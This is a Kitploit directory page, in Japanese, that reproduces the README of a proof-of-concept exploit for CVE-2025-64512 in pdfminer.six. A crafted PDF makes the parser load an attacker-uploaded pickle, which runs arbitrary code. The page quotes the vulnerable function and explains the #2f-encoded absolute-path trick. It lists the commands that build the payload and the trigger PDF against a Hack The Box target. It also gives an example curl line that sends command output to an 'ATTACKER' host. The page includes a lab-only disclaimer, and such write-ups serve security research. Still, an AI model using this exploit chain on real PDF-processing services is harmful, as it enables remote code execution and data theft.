Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-64512-pdfminer-PoC — CVE-2025-64512 の PoC: 細工された PDF を介した pdfminer.six CMapDB pickle デシリアライゼーションによる RCE | Kitploit
ツール/GitHubGitHub/oguzylmzx/cve-2025-64512-pdfminer-poc
ペイロード生成脆弱性分析エクスプロイトウェブアプリケーション悪用学習と教育ペイロード開発
GitHuboguzylmzx/cve-2025-64512-pdfminer-poc

CVE-2025-64512-pdfminer-PoC

CVE-2025-64512 の PoC: 細工された PDF を介した pdfminer.six CMapDB pickle デシリアライゼーションによる RCE

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
リポジトリを見る
225日前未レビュー

CVE-2025-64512 — pdfminer.six CMapDB 逆シリアライゼーション PoC

pdfminer.six の逆シリアライゼーション脆弱性に対する Proof-of-Concept です。細工された PDF を解析すると、任意のコード実行が引き起こされます。

目的 / 法的免責事項 このリポジトリは 教育および許可されたセキュリティ研究のみ を目的として提供されます。これは 公開済みでパッチ適用済みの CVE を再現するものです。 所有していないシステム、または書面によるテスト許可がないシステムに対して 使用しないでください。作者は誤用について一切責任を負いません。 想定環境: Hack The Box / VulnHub / ローカルラボ

脆弱性

  • CVE: CVE-2025-64512
  • 影響を受ける: 20250506 より前の pdfminer.six
  • パッチ適用済み: 20250506
  • 種別: 信頼できないデータの逆シリアライゼーション (CWE-502)

cmapdb.py 内の CMapDB._load_data() は、PDF フォントの /Encoding エントリから導出された名前の CMap ファイルを読み取り、その内容を pickle.loads() に渡します:

root@kitploit:~
def _load_data(cls, name):
    name = name.replace("\0", "")
    filename = "%s.pickle.gz" % name
    log.debug("loading: %r", name)
    cmap_paths = (
        os.environ.get("CMAP_PATH", "/usr/share/pdfminer/"),
        os.path.join(os.path.dirname(__file__), "cmap"),
    )
    for directory in cmap_paths:
        path = os.path.join(directory, filename)
        if os.path.exists(path):
            gzfile = gzip.open(path)
            try:
                return type(str(name), (), pickle.loads(gzfile.read()))
            finally:
                gzfile.close()
    raise CMapDB.CMapNotFound(name)

この脆弱性を悪用可能にする 3 つの特性:

  1. 攻撃者が制御するデータに対する pickle.loads() -> 任意のコード実行。
  2. ファイル名が 絶対パス であるため、os.path.join() は検索ディレクトリを破棄し、その正確なパスでファイルを開く。
  3. .pickle.gz が自動的に追加されるため、パスは拡張子なしで指定される。

エクスプロイトチェーン

このエクスプロイトでは、脆弱な Web アプリに 2 つのファイル をアップロードする必要があります:

  1. payload.pickle.gz — gzip 圧縮された pickle。__reduce__ がコマンドを実行し、CMap 形式の dict を返します (ペイロード発火後も解析が正常に継続するため)。
  2. trigger.pdf — フォントの /Encoding が pickle の絶対パス (拡張子なし) を指す、Type0/CIDFont を使用した最小限の PDF。

PDF レベルで重要な詳細が 2 つあります:

  • CMapDB.get_cmap() に到達できるのは CIDFont (DescendantFonts エントリを持つ Type0 フォント) 経由のみで、通常の Type1 フォントでは到達できません。
  • PDF の名前トークンは / 区切り文字で始まるため、エンコードされたパスは絶対パスの先頭スラッシュを保持するために #2f で始まる必要があります。内部のスラッシュも / が名前の区切り文字であるため #2f になります。

対象が PDF を解析すると (例: pdf2txt.py を呼び出すバックグラウンドのウォッチャー)、CMapDB._load_data() が pickle を開いてコマンドを実行します。

使用方法

root@kitploit:~
# 1. Build the malicious pickle (gzip-compressed)
python3 make_payload.py 'id; whoami' -o payload.pickle.gz

# 2. Build the trigger PDF pointing at the pickle's absolute path (no ext)
python3 make_trigger_pdf.py /var/www/research.bedside.htb/uploads/payload -o trigger.pdf

# 3. Upload both files to the vulnerable PDF upload form, then wait for
#    the processing watcher to pick up trigger.pdf

pdfminer.six 20250416 (脆弱なバージョン) に対してエンドツーエンドで検証済み: pdf2txt.py trigger.pdf を実行するとペイロードコマンドが実行され、終了コード 0 で終了します。

ペイロードコマンドはブラインドです。コールバック経由で外部送信してください。例:

root@kitploit:~
python3 make_payload.py 'curl http://ATTACKER:8001/$(id|base64 -w0)' -o payload.pickle.gz

ファイル

ファイル用途
make_payload.py悪意のある payload.pickle.gz を生成します
make_trigger_pdf.py正しい xref オフセットを持つ /Encoding トリガー PDF を生成します

参照

  • CVE-2025-64512 (NVD)
  • pdfminer.six のチェンジログ / 20250506 の修正コミット
  • Hack The Box マシン Bedside (許可されたラボでの再現)
ツールをダウンロード